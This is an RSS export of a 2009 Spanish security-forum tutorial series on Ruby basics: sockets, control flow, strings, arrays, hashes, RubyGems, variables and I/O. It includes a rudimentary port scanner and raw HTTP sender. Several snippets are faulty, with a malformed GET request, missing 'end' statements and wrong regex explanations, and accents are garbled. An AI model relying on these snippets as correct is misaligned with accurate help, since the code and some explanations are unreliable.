<title>[5] Sockets [5] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3112,3112#msg-3112</link><description><![CDATA[Vamos a ver en este capitulo como se hacen las comunicaciones a bajo y alto nivel.<br />Vamos a aprender a programar sockets en Ruby. Los sockets son los encargados de las comunicaciones.<br />En este capitulo no solo hablaremos de programaci?n, tambi?n de redes y de protocolos, as? que hay cosas que si no se tiene la teoria suficiente ( protocolos tcp, http, etc) no se entender?n bien.<br />Vamos ya con la pr?ctica:<br /><pre class="bbcode"> 
require 'socket' #Lo primero es llamar a la liberia encargada 
sock=TCPSocket.new('www.ejemplo.com', 80) #Creamos un objeto (sock) con la conexion al host ejemplo.com por el puerto 80</pre><br />Aditional Info: El nombre del host lo podriamos haber especificado tambien por la IP, y el puerto por el nombre del protocolo que corra (ej: 'http').<br /><br />Ya tenemos el objeto con la conexion creado, ahora veamos algunos de los principales metodos que se les puede pasar a los sockets:<br /><pre class="bbcode"> 
sock.print &quot;Datos a enviar&quot; #Le envia lo que sea al socket 
sock.recv(999) #Recibe datos del socket. El numero es la cantidad de datos 
sock.listen(1) #Acepta tantas conexiones como el numero entero entre (), en este caso solo acepta la primera conexion 
sock.close #Cierra la conexi?n.
sock.read #Lee toda la respuesta del socket</pre><br />Estos son los metodos que mas usaremos en nuestros scripts, pero existen m?s.<br />Ejemplo:<br /><pre class="bbcode"> 
sock=TCPSocket.new('www.google.com', 80) #Establecemos conexi?n. 
sock.print &quot;GET HTTP/1.1\nHost: www.google.com\n&quot; #Hacemos una petici?n GET al host 
rec=sock.recv(999) #Recibimos datos 
print rec #Imprimimos datos 
sock.close #Cerramos conexi?n</pre><br />Veamos algunas otras utilidades de Socket:<br /><pre class="bbcode"> 
Socket.getaddrinfo(host, puerto) # Nos devolver? informaci?n sobre la conexi?n de ese host en ese puerto.</pre><br />Ejemplo:<br /><pre class="bbcode">irb(main):001:0&gt; require 'socket' 
=&gt; true 
irb(main):002:0&gt; Socket.getaddrinfo('www.google.com', 80) 
=&gt; [[&quot;AF_INET&quot;, 80, &quot;lm-in-f147.google.com&quot;, &quot;66.102.9.147&quot;, 2, 1, 6], [&quot;AF_INET&quot;, 80, &quot;lm-in-f147.google.com&quot;, &quot;66.102.9.147&quot;, 2, 2, 17], [&quot;AF_INET&quot;, 80, &quot;lm-in-f147.google.com&quot;, &quot;66.102.9.147&quot;, 2, 3, 0], [&quot;AF_INET&quot;, 80, &quot;66.102.9.99&quot;, &quot;66.102.9.99&quot;, 2, 1, 6], [&quot;AF_INET&quot;, 80, &quot;66.102.9.99&quot;, &quot;66.102.9.99&quot;, 2, 2, 17], [&quot;AF_INET&quot;, 80, &quot;66.102.9.99&quot;, &quot;66.102.9.99&quot;, 2, 3, 0], [&quot;AF_INET&quot;, 80, &quot;lm-in-f104.google.com&quot;, &quot;66.102.9.104&quot;, 2, 1, 6], [&quot;AF_INET&quot;, 80, &quot;lm-in-f104.google.com&quot;, &quot;66.102.9.104&quot;, 2, 2, 17], [&quot;AF_INET&quot;, 80, &quot;lm-in-f104.google.com&quot;, &quot;66.102.9.104&quot;, 2, 3, 0]]</pre>
<pre class="bbcode">irb(main):003:0&gt; Socket.getaddrinfo('www.google.com', 'ftp') 
=&gt; [[&quot;AF_INET&quot;, 21, &quot;66.102.9.99&quot;, &quot;66.102.9.99&quot;, 2, 1, 6], [&quot;AF_INET&quot;, 21, &quot;lm-in-f147.google.com&quot;, &quot;66.102.9.147&quot;, 2, 1, 6], [&quot;AF_INET&quot;, 21, &quot;lm-in-f104.google.com&quot;, &quot;66.102.9.104&quot;, 2, 1, 6]]</pre><br />Bueno, de ahi se puede sacar algo de info ?til ^^.<br /><br />El select: Nos interesa para establecer un timeout a nuestro socket. Que quiere decir esto? Con el timeout estableceremos el tiempo m?ximo que el socket intentar? conectarse al host, despues de ese tiempo desechar? la conexi?n<br /><pre class="bbcode"> 
sock=TCPSocket.new(host, puerto) 
select [sock], nil, nil, timeout</pre><br />Además el select puede ser muy útil en un server, ya que nos avisa cuando hay algún cambio en alguna de las conexiones. hay un pdf muy bueno sobre sockets en ruby, que crean un chat, y utilizan select, quien lo quiera que avise.<br /><br />TCPServer(puerto): Har? un server en la m?quina donde se ejecuta el script abriendo el puerto indicado.Ejemplo:<br /><pre class="bbcode"> 
server=TCPServer.new(666) #Dejamos a la escucha el puerto 666 
server.listen(1) #Aceptamos s?lo la primera conexi?n</pre><br />Uno de los problemas que nos pueden surgir codeando con sockets es cuando el host no est? operativo o el puerto est? cerrado. Que pasar?? Pues que el socket lanzar? un error y el interprete de Ruby terminar? el script. Esto se puede solucionar con rescue de errores, excepciones, en otros capitulos mas adelante veremos como solucionar esto.<br /><br />Otra cosa importante a tener en cuenta. Esto a mi me dio un peque?o dolor de cabeza en su momento:<br />Para montar una peticion HTTP correcta la estructura debe ser esta ( lo importante est? en el CLRF, hay que ponerlo si o si, depende el sistema):<br /><br /><pre class="bbcode">  CRLF = &quot;\r\n&quot; 
  req = &quot;GET #{path} HTTP/1.1#{CRLF}Host: #{host}#{CRLF*2}&quot;</pre><br />EJEMPLOS REALES CON SOCKETS:<br /><br />Un peque?o scanner:<br /><pre class="bbcode">require 'socket' 
host = ARGV[0] 
port = ARGV[1] 
if !host || !port 
	puts &quot; Uso: scanp.rb &lt;host&gt; &lt;puerto&gt;&quot; 
else 
	sock = TCPSocket.new( host, port) 
	if !sock 
		puts &quot;Puerto cerrado!&quot; 
	else 
		puts &quot;Puerto abierto!&quot; 
	end 
end</pre>
Explicaci?n del code: Establecemos las variables host y port mediante los argumentos<br />Si no las han introducido explicamos como funciona el code. Si no, creamos la conexion. Si la conexi?n resulta, es el que el puerto est? abierto, si no, es que est? cerrado. Y ya tenemos un peque?o scan muy rudimentario, a partir de aqu? podriamos codear otros scanners m?s complejos. Habria que tener en cuenta que si el socket no se conecta porque el puerto est? cerrado y no rescatamos el error, el script se detendr? y el scanner no funcionar?.<br /><br />Http Sender:<br /><pre class="bbcode">require 'socket' 
host = ARGV[0] 
met = ARGV[1] 
if !host 
	puts &quot; USO:  http.rb &lt;host&gt; &lt;metodoHTTP&gt;&quot; 
	puts &quot; EJEMPLO:  http.rb www.google.com GET&quot; 
else 
	sock = TCPSocket.new( host , 80 ) 
	if !sock || !met 
		puts &quot; No se pudo conectar&quot; 
	else 
		sock.print met, &quot; / HTTP/1.1 \n&quot; 
		sock.print &quot;Host: &quot;, host, &quot;\n\n&quot; 
		while (res = sock.recv(100)) 
		print res 
		end 
		sock.close 
	end</pre>
Creamos socket, y le enviamos la peticion HTTP con el metodo que el usuario nos haya dado. Recibimos y imprimimos datos. Al final cerramos el socket.<br />Estos ejemplos son medio defectuosos, pero porque faltan algunas cosas por saber, otras que son mejor investigarlas uno mismo, etc.. son sólo una guía.<br /><br />Bueno, creo que me he dejado cosas, pero me cans? de escribir ( Influye el hecho que es la segunda vez que lo escribo ya que la primera no se porque se borr? y no se pudo postear...:S). Pero aqu? est?n las bases de los sockets, y ahora lo m?s importante es que cada uno pruebe y experimente con sus propios scripts. Si codeais algo no dudeis en postearlo y yo mismo lo revisar? ;).<br /><br />Referencias:(lectura imprescindible)<br />http://www.ruby-doc.org/core/classes/Socket.html<br />http://www.ruby-doc.org/core/classes/TCPSocket.html<br />http://www.ruby-doc.org/stdlib/libdoc/socket/rdoc/classes/TCPServer.html<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 09:14:33 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3111,3111#msg-3111</guid>
<title>[4] Estructuras de control [4] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3111,3111#msg-3111</link><description><![CDATA[En este capitulo nos vamos a meter ya con la sintaxis de Ruby. Vamos a poder comprobar si es tan clara y elegante como se dice xD. Veremos las estructuras de control de datos, los ciclos en Ruby.<br /><br />IF, ELSE<br /><br />Es muy parecido a los dem?s lenguajes, la principal diferencia que no hace falta encerrar las condiciones entre llaves.<br />Ejemplo:<br /><br />if variable==&quot;Lo que sea&quot; # Ojo, utilizamos ==, no =. El = seria para asignar, el == para comprobar<br />print &quot;Si, es igual&quot;<br />else<br />print &quot;No, no es igual&quot;<br />end #En ruby todas las estructuras de control asi como clases o funciones se terminan con un end.<br /><br />Aditional Info: En el ejemplo he utilizado el ==. Pero hay otros operadores para los ifs:<br />==<br />!= #El contrario a ==. Es decir. Si no es igual<br />&lt;<br />&gt;<br />&gt;=<br />&lt;=<br /><br />Y otro que merece atenci?n aparte: =~<br />Este es para comprobar coincidencias. Es decir:<br /><br /><pre class="bbcode">a=&quot;Prueba&quot; 
if a =~ /r/ 
print &quot;La cadena&quot;, a, &quot;contiene la letra r&quot; 
else 
print &quot;La cadena&quot;, a, &quot;no contiene la letra r&quot;</pre><br />Creo que con el ejemplo ya queda suficientemente claro no? lo que se tiene que buscar es lo que esta entre //.<br />Por ejemplo podemos buscar digitos:<br />if a =~ /\d/ # El \d representa a todos los digitos del 1 al 9<br />O muchas mas cosas. Por ejemplo, buscar que contenga pR seguido y mas adelante una s:<br /><pre class="bbcode">a=&quot;pRotos&quot; 
if a =~ /pR+s/ 
print &quot;Es posible que te llames pRotos&quot; 
end</pre>
O buscar que contenga una cosa o la otra:<br /><pre class="bbcode">if variable =~ /loquesea|loksea/ 
print &quot;Ok&quot; 
end</pre>
Si la variable contiene &quot;loquesea&quot;, o &quot;loksea&quot;, nos imprimir? Ok.<br /><br />WHILE<br /><br />Como su traducci?n directa nos dice, siginifica hacer tal mientras tal se cumpla. Ejemplo:<br /><pre class="bbcode"> 
a=1 
while a!=10 
print a 
a+=1 # Esto es una breviatura de a=a+1 (Augmentar en uno el numero) 
end</pre><br />Mientras a no sea 10, imprimos el numero a y le sumamos uno. Bien sencillo verdad?<br /><br />UNTIL<br /><br />Muy parecido al while. Quiere decir, hasta que.. Ejemplo<br /><br /><pre class="bbcode">a=1 
until a==10 #Hasta que a no sea igual a 10 (seria lo mismo que while a!=10) 
print a 
a+=1 
end</pre><br />De este no explico mas, ya que con while podemos solucionar estas cosas.<br /><br />CASE<br /><br />Es muy parecido tambien a la resta de lenguajes. En relacion a unos valores de la variable haremos una cosa u otra. Veamoslo con ejemplos<br /><br /><pre class="bbcode">print &quot;Se entiende bien esta guia?\n&quot; 
resp=gets.chomp 
case resp 
when &quot;si&quot; 
print &quot;Esque explico muy bien xD\&quot; 
when &quot;no&quot; 
print &quot;Pues no dudes en postear tus dudas\n&quot; 
else # Aqu? el else es como los defaults de otros lenguajes: Cuando no sea ninguno de los when salta esto 
puts &quot;Haber, contesta si o no xD&quot; 
end #Cerramos el case, como veis se cierra al final del todo, no despues de cada when.</pre><br />En ruby podemos alterar el orden en las estructuras. Por ejemplo, esto seria perfectamente correcto:<br /><pre class="bbcode"> 
puts &quot;Te llamas pRotos&quot; if nombre==&quot;pRotos&quot;</pre><br />Atencion a otros modificadores para las estructuras de control || (or) &amp;&amp; (and)<br />Ejemplos:<br /><br /><pre class="bbcode">if variable ==&quot;algo&quot; || variable2 ==&quot;otro&quot; 
print &quot;Ok&quot; 
end</pre>
En este caso se tienen que cumplir solo una de las dos condiciones, si la variable es igual a algo o si la 2 es igual a otro, se imprimir? Ok<br /><pre class="bbcode">if variable ==&quot;algo&quot; &amp;&amp; variable ==&quot;otro&quot; 
print &quot;Ok&quot; 
end</pre>
En este caso se tendran que cunplir las dos condiciones, si no no se imprimir? el Ok.<br /><br /><br />Y bueeno, estoy algo cansado de escribir lo voy a dejar aqui. Ya hemos visto los principales ciclos, estructuras de control de Ruby, y hemos comprobado que son de f?cil uso, pocas linias, de hecho hemos visto que podemos reducir ciclos a una sola linia, pero igual de potentes.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 09:10:44 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3110,3110#msg-3110</guid>
<title>[3] Strings, arrays, hashes [3] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3110,3110#msg-3110</link><description><![CDATA[<span style="font-size:10pt">STRINGS</span><br /><br />Los Strings son cadenas. Se pueden encontrar entre comillas dobles o comillas simples.<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>&quot;Ejemplo de cadena&quot; 'Ejemplo de cadena'.</div></blockquote>
Como todo en ruby son objetos. Y como objetos se le pueden pasar varios metodos interesantes:<br />Algunos ejemplos: (Ya sabemos que los metodos se pasan mediante puntos)<br /><br /><pre class="bbcode">&quot;string&quot;.capitalize #Convierte la cadena con la priemra letra mayuscula y las demas minusculas. 
&quot;string&quot;.upcase #COnvierte la cadena entera a may?scula 
&quot;string&quot;.chars #Se suele utilizar junto con otros m?todos, enumera cada car?cter de la cadena. 
&quot;string\n&quot;.chomp # Le elimina el salto de linia a la cadena. 
&quot;string&quot;.split(&quot;&quot;) #Devuelve un array separando la cadena cada vez que se encuentre lo que hay entre (&quot;&quot;)</pre><br />TODOS LOS METODOS DE LA CLASE STRING: http://www.ruby-doc.org/core/classes/String.html<br />(Lectura obligatoria)<br /><br />Para convertir cualquier dato a String= dato.to_s<br /><br />ARRAYS<br /><br />Los arrays (arreglos), podriamos decir que son conjuntos de objetos.<br />Para crear un objeto array seria: Array.new o simplemente dandole sus valores.<br />Los valores van entre [] y separados por comas.<br />Con ejemplos todo esto se ve m?s claro.<br /><br /><pre class="bbcode">a= [&quot;pRotos&quot;, &quot;z0l&quot;, &quot;web&quot;, &quot;-&quot;] #Creamos un array de 4 elementos 
a[0] # Esto mostraria &quot;pRotos&quot; 
a[2] #Y esto &quot;web&quot; 
a[4]=&quot;ruby&quot; #Podemos darle nuevos datos a un array 
a[2]=&quot;foro&quot; #O sobreescribir antiguos valores. 
a #Esto nos mostraria todos los objetos del array. 
a+[&quot;estamos&quot;, 1, &quot;sumando&quot;] # Tambien se pueden sumar arrays. 
                                                #Esto daria [&quot;pRotos&quot;, &quot;z0l&quot;, &quot;foro&quot;, &quot;-&quot;, &quot;estamos&quot;, 1, &quot;sumando&quot;] 
a-[&quot;sumando&quot;] # Tambien se pueden restar arrays. 
a&lt;&lt;&quot;a?adiendo&lt;&lt; valores&quot;, &quot;^^&quot; # con &lt;&lt; a?adimos objetos al array 
a[3,2] #Esto lo que hace es: desde el cuarto objeto (3), seleccionar los dos siguientes objet</pre>os.<br /><u><br />Algunos m?todos para los arrays:</u><br /><pre class="bbcode"> 
array.choice #Coge un objeto al azar del array 
array.clear #Vacia un array 
array.delete(ob) #Borra todos los objetos ob del array. 
array.join(&quot;&quot;) #Interesante: crea un String con todos los elementos del array y en medio lo del () 
Ejemplo: 
a=[&quot;me&quot;, &quot;llamo&quot;, &quot;pRotos&quot;] 
a.join(&quot;-&quot;) # Esto dar?: me-llamo-pRotos</pre><br />Y uno muy ?til: el .each{| |}<br />Con el each podemos acceder a todos los elementos de un array por orden y utilizarlos uno a uno en un bloque.<br />Ejemplo:<br /><pre class="bbcode">a=[1, 2, 3, 4] #Definimos el array 
a.each {|x| #Le aplicamos el metodo each y decimos que los objetos del array pasaran por la variable x 
print x+1 #Imprimimos los elementos sumandole 1 
}#Cerramos el bloque</pre><br />Aditional Info: Los bloques en vez de abrirse y cerrarse con {} tambien se pueden abrir con do y cerrarse con end<br /><br />{ do<br />bloque ==&gt; bloque<br />} end<br /><br />TODOS LOS METODOS DE LA CLASE ARRAY: http://www.ruby-doc.org/core/classes/Array.html<br />(lectura obligatoria)<br /><br />Para pasar un valor a array: dato.to_a # El problema de esto es que crea un array de un solo objeto<br />Si queremos pasar una cadena a un array con tantos objetos como caracteres hariamos:<br /><pre class="bbcode">a=&quot;Cadena en pruebas&quot; 
a.split(&quot;&quot;) #Separaria a cada caracter. Esto daria [&quot;C&quot;,&quot;a&quot;,&quot;d&quot;,&quot;e&quot;,&quot;n&quot;,&quot;a&quot;,.....&quot;a&quot;,&quot;s&quot;] 
a.split(&quot; &quot;) #Separaria a cada espacio, esto daria [&quot;Cadena&quot;, &quot;en&quot;, &quot;pruebas&quot;]</pre><br />HASHES<br /><br />No los voy a explicar mucho ya que son f?ciles y no los tendremos que usar mucho.<br />Como ya hemos visto los arrays son conjuntos de objetos y cada objeto es apuntado por un numero entero. Los hashes son tambien conjuntos de objetos, pero que cada objeto es apuntado por otro objeto, no solo un entero. Veamos ejemplos:<br /><br /><pre class="bbcode">a= { 
&quot;animal&quot;=&gt;&quot;perro&quot; 
&quot;edificio&quot;=&gt;&quot;hospital&quot; 
&quot;color&quot;=&gt;&quot;amarillo&quot; 
}</pre><br />Como vemos no se encierran en [] sino con llaves {}. primero se escribe el indice y con =&gt; se le asigna un objeto. Para llamar a los objetos seria:<br /><br />print a[&quot;animal&quot;] #Esto imprimiria &quot;perro&quot;<br /><br />Bueno, ya veis que esto es muy f?cil<br /><br />TODOS LOS METODOS DE LA CLASE HASH: http://www.ruby-doc.org/core/classes/Hash.html<br />(Lectura obligatoria)<br /><br /><br />Bueno, todo esto est? escrito ahora bastante r?pido si me olvido algo ya edito, y si algo no est? bien explicado estar? encantado de contestar dudas en este mismo post ^^.<br /><br />Deberes: No voy a mandar nada en estos post, el que quiera que practique, el que quiera que ni lea, el que solo quiera leer que solo lea, etc...Lo que si recomiendo al que quiera aprender que lea los dos links que puse de lectura obligatoria. Si alguien quiere practicar y hacer codes y quiere postearlos se los comentar? y le ayudar? en lo que pueda.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 09:10:01 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3109,3109#msg-3109</guid>
<title>Rubyscript2exe (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3109,3109#msg-3109</link><description><![CDATA[Gracias a rubyscript2exe podemos crear ejecutables a partir de nuestros codes .rb<br />Hay dos posibles usos: instalar rubyscript2exe o utilizando directamente el script rubyscript2exe.rb. Esta Última manera es la que yo uso, y seria tan fÁcil como hacer por consola:<br /><pre class="bbcode"> 
$ruby rubyscript2exe.rb tuscript.rb</pre><br />Y el mismo te 'compila' un ejecutable de tu script para la plataforma en que lo corras ( si usas Linux un ejecutable para Linux y si usas windows un .exe)<br /><br /><a href="http://www.erikveen.dds.nl/rubyscript2exe/download/rubyscript2exe.rb" target="_blank" rel="nofollow" >Source Code rubyscript2exe.rb</a><br /><br /><a href="http://sourceforge.net/project/showfiles.php?group_id=92720" target="_blank" rel="nofollow" >Descarga rubyscript2exe</a><br /><br /><a href="http://www.erikveen.dds.nl/rubyscript2exe/" target="_blank" rel="nofollow" >Mas informacion rubyscript2exe</a><br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 08:53:02 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3108,3108#msg-3108</guid>
<title>RubyGems (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3108,3108#msg-3108</link><description><![CDATA[RubyGems es la manera de instalar paquetes para Ruby, como por ejemplo librerias. Es muy fácil, y rápido de usar. Veamoslo:<br /><span style="font-size:10pt"><u><br />Lo primero, lo instalamos </u></span>(Bravo pRotos! xD):<br />-Nos descargamos el paquete rubygems de SourceForge ya sea manualmente o por consola<br />Manualmente: <a href="http://rubyforge.org/frs/?group_id=126" target="_blank" rel="nofollow" >RubyGems</a><br />O por consola: <i>wget http://rubyforge.org/frs/download.php/35283/rubygems-1.1.1.tgz</i><br />-Desempaquetamos y abrimos la carpeta manualmente o por consola (tar xzvf rubygems-1.1.1.tgz; cd rubygems-1.1.1/ )<br />-Y por ?ltimo ejecutamos el setup.rb (<i>sudo ruby setup.rb</i> )<br /><br />Todo seguido por consola:<br /><pre class="bbcode">#wget http://rubyforge.org/frs/download.php/35283/rubygems-1.1.1.tgz 
#tar xzvf rubygems-1.1.1.tgz 
#cd rubygems-1.1.1/ 
#sudo ruby setup.rb</pre><br />Ya tenemos RubyGems Instalado!! Pero como lo usamos??<br /><br /><span style="font-size:10pt"><u>Buscar gemas (Paquetes)</u></span><br />Por ejemplo queremos buscar las librerias de Ruby que nos ayuden con DNS, pues buscamos las gemas que tengan algo que ver con dns:<br /><br /><pre class="bbcode">gem search dns --remote</pre><br />Y nos har? un listado de las gemas disponibles con la cadena 'dns' en su nombre:<br /><br /><br /><pre class="bbcode">*** REMOTE GEMS *** 
Bulk updating Gem source index for: http://gems.rubyforge.org 

dnsruby (1.1) 
    Ruby DNS implementation 

Dnsruby (1.0, 0.6.0, 0.5.0) 
    Ruby DNS implementation 

dnssd (0.6.0) 
    DNS Service Discovery (aka Rendezvous) API for Ruby 

net-dns (0.4, 0.3, 0.2.5, 0.2, 0.1) 
    Pure Ruby DNS library 

net-mdns (0.4) 
    DNS-SD and mDNS implementation for ruby 

pNet-DNS (1.0.2, 1.0.1, 1.0.0, 0.0.4, 0.0.3, 0.0.2, 0.0.1) 
    Ruby port of perl Net::DNS 

ruby-djbdns (0.0.2, 0.0.1)</pre><br /><br />el modificador --remote indica que son paquetes oficiales, podemos probar tambien con el modificador --local<br /><br /><pre class="bbcode">protos:~$ gem search http --local 

*** LOCAL GEMS *** 

HTTPal (30) 
    HTTP browser library 

httpclient (2.1.2) 
    gives something like the functionality of libwww-perl (LWP) in Ruby</pre><br /><span style="font-size:10pt"><u>Instalando Gemas</u></span><br />Es muy f?cil:<br /><pre class="bbcode">gem install &lt;nombre de la gema&gt;</pre>
para instalar una version determinada utilizamos el modificador --version:<br /><pre class="bbcode">gem install &lt;nombre de la gema&gt; --version &lt;version&gt;</pre>
<span style="font-size:10pt"><br /><u>Viendo nuestras gemas</u></span><br /><pre class="bbcode">gem list</pre>
<span style="font-size:10pt"><u>Listando todas las gemas oficiales</u></span><br /><pre class="bbcode">gem list --remote</pre><br />Bueno, y creo que con esto ya estamos, espero que sirva para algo.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 08:52:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3107,3107#msg-3107</guid>
<title>[2] Variables [2] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3107,3107#msg-3107</link><description><![CDATA[Vamos a ver como son las variables en Ruby.<br />En Ruby, a diferencia de C, no hace falta declarar las variables, se declaran en el momento que se le asigna un valor.<br />Cabe seguir recordando que las variables en ruby tambien son objetos. ( Bueeeno, vale, realmente no son objetos aunque lo dijera en la introducci?n, son referencias a objetos...)<br /><br />Encontrarmos principalmente 4 tipos de variables:<br /><br />Locales = Son las variables, normales, las t?picas.<br />Globales = Variables accesibles desde cualquier sitio del code<br />De instancia = Variables accesibles dentro de una misma clase<br />Constantes = Variables que solo admiten un valor el cual no cambiar? a lo largo del code.<br /><br />LOCALES:<br />Se definen por una palabra que empieza siempre en min?sculas. Mediante = se le asigna un valor<br /><br />Ejemplos validos:<br />nombre=&quot;pRotos&quot;<br />edad=16<br /><br />GLOBALES<br />Se definen igual que las locales pero con el simbolo $ delante. Ser?n accesibles a lo largo del code.<br />Ejemplos v?lidos:<br />$nombre=&quot;pRotos&quot;<br />$edad=16<br /><br />DE INSTANCIA<br />Se definen igual que las locales pero con el simbolo @ delante. Ser?n accesibles en una misma clase, no fuera.<br />Ejemplos v?lidos:<br />@nombre=&quot;pRotos&quot;<br />@edad=16<br /><br />CONSTANTES<br />Se definen por una palabra que cumpla que la primera letra sea mayuscula. SOn invariables, su valor no cambia nunca.<br />Ejemplos v?lidos:<br />Nombre=&quot;pRotos&quot;<br />Edad=16<br /><br /><span style="font-size:10pt"><u>Accediendo a variables</u></span><br /><br />Podemos acceder a una variable de diferentes maneras:<br />?Simplemente con su nombre<br />?#{variable}<br /><br />Ahora vemos las dos maneras<br /><br /><pre class="bbcode">print &quot;Como te llamas?\n&quot; 
nombre=gets.chomp 
print &quot;Tu nombre es&quot;, nombre, &quot;\n&quot; # salimos de la cadena de texto con una coma y ponemos la variable, para poner una 
                                                        # cadena despues de la variable tambien la separamos con una coma (,)</pre><br />salida: Tu nombre es ....<br /><br /><pre class="bbcode">print &quot;Como te llamas?\n&quot; 
nombre=gets.chomp 
print &quot;Tu nombre es #{nombre}\n&quot; # No hace falta salir de la cadena si metemos la variable en #{}. Atenci?n ya que esto 
                                                        # no funciona con comillas simples, solo con las dobles.</pre><br />salida: Tu nombre es ...<br /><br /><br />mmm creo que poco mas que decir de las variables...Si eso ya luego edito xD.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 08:51:58 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3106,3106#msg-3106</guid>
<title>[1] Entrada y salida de datos [1] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3106,3106#msg-3106</link><description><![CDATA[Bueno, veamos una de las cosas mas sencillas y b?sicas en todos los lengujaes. Las entradas y salidas de datos:<br /><br />Para escribir cualquier cosa por la pantalla por Ruby se suele hacer de dos maneras: puts y print<br />La principal diferencia es que puts te imprime el salto de linia (\n) despues de cada cadena y print no.<br /><br />Ejemplos:<br /><pre class="bbcode">
print &quot;pRotos la rulea&quot;
print &quot;no??&quot;</pre><br />dar?:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>pRotos la ruleano??</div></blockquote><br />en cambio<br /><pre class="bbcode">
puts &quot;pRotos la rulea&quot;
puts &quot;no??&quot;</pre><br />dar?<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>pRotos la rulea<br />no??</div></blockquote><br />Es decir, nos ha saltado de linia automaticamente, para poner el salto de linia en un print ( muchas veces tendremos que utilizar print y no puts, pero necesitaremos salto de linia) usaremos \n<br /><br />Ejemplo:<br /><pre class="bbcode">print &quot;pRotos la rulea \n&quot;
print &quot;no??&quot;</pre><br />dar?:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>pRotos la rulea<br />no??</div></blockquote><br />(Aditional Info: Yo he usado las comillas dobles, Ruby tambi?n admite comillas simples. Pero hay diferencia entre unas y otras. Por ejemplo, cuando ponemos comillas dobles, el interprete buscara variables en la cadena, cosa que no pasa con las simples ( estas cosas se van viendo sobre la marcha de aprender el lenguaje, ahora no os preocupeis))<br /><br />Ya hemos visto como imprimir cosas. Pero ahora necesitamos recibir datos del usuario, como lo hacemos??<br /><br />Recibiendo datos:<br /><br />Se utiliza el gets.chomp:<br /><br /><pre class="bbcode">print &quot;Como te llamas?&quot;
nombre=gets.chomp</pre><br />Y almacenamos lo que nos devuelvan en la variable nombre ( proxima entrega variables).<br />(Aditional Info:els gets recibe los datos y el chomp le quita el salto de linia)<br /><br />Otra manera de recibir datos es mediante los argumentos:<br /><br />Cuando interpretamos el script hacemos algo asi:<br /><br /><pre class="bbcode">ruby script.rb &lt;argumentos&gt;</pre><br />Y ahi le podemos pasar una serie de argumentos al code para utilizarlos mas adelante.<br />Como alamcenarlos? mediante ARGV[]<br />almazenaremos los datos en el array ARGV (De aqu? dos entregas veremos los arrays, tranquilos)<br />si por ejemplo tenemos:<br /><br /><pre class="bbcode">ruby script.rb pRotos</pre><br />Siendo el code script.rb:<br /><br /><pre class="bbcode">nombre=ARGV[0] #Almacenamos el primer argumento en la variable nombre
print nombre</pre><br />Nos devolveria:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>pRotos</div></blockquote><br />Aditional Info: Daros cuenta que los ARGV empiezan por el 0, no por el 1, esto pasar? con todos los arrays, el primer elemento es el 0. Entonces podemos almazenar datos asi: ruby script.rb &lt;argv0&gt; &lt;argv1&gt; .... etc.<br />Aditional Info: Si os habeis dado cuenta en el code he puesto una explicacion detras de #. As? son los comentarios en Ruby, todo lo que haya detras de un # el interprete no lo leer?, son comentarios. Para hacer comentarios de varias linias hay que poner un # al inicio de cada linia.<br /><br />Ahora ya sabemos escribir y leer datos, hay una cosa que me queda decir, como imprimir variables: pero buee, mejor lo vemos en... En la siguiente entrega: LAS VARIABLES<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 08:48:07 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3105,3105#msg-3105</guid>
<title>[0] Introducción [0] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,3105,3105#msg-3105</link><description><![CDATA[Bueno, vamos a ver si conseguimos crear algunos Ruby-c0ders ^^.<br /><br />A trav?s de unos cuantos cap?tulos voy a introduciros a este lenguaje de programaci?n. No me pienso quedar en el 'hola mundo', veremos el lenguaje con un poquito m?s de profundidad.<br /><br />Que es Ruby? Ruby es un lenguaje relativamente joven ( no me voy a enrollar con que su creador fuera un japon?s ni con su historia), denominado tambien lenguaje scripting ( al igual que Perl o Python por ejemplo). Es un lenguaje interpretado aunque se pueden crear ejecutables a partir de scripts Ruby( con rubyscript2exe )<br />Entonces para ejecutar codigo Ruby necesitaremos el interprete de Ruby (Linux o Windows)<br /><br />Se caracteriza por su sencillez, elegancia sintactica, potencia relativa ( es muy potente, pero no me lo querais comparar con C/C++, y menos con ASM). Esto hace que se puedan codear buenos codes en menos linias, menos tiempo y sobretodo, con m?s entretenimiento, Ruby fue creado para divertirse programando, lo que su creador denomin? efecto de la m?nima sorpresa: en contra de lenguajes como puede ser C, las cosas suelen ser lo que parecen, no son rebuscadas.<br /><br />Una caracter?stica tambi?n muy importante, que alomejor ahora no le veis toda la capacidad, pero que sin duda m?s adelante os dareis cuenta de lo que realmente es y por ello prefiero empezar a comentarlo es que Ruby es un lenguaje Orientado a 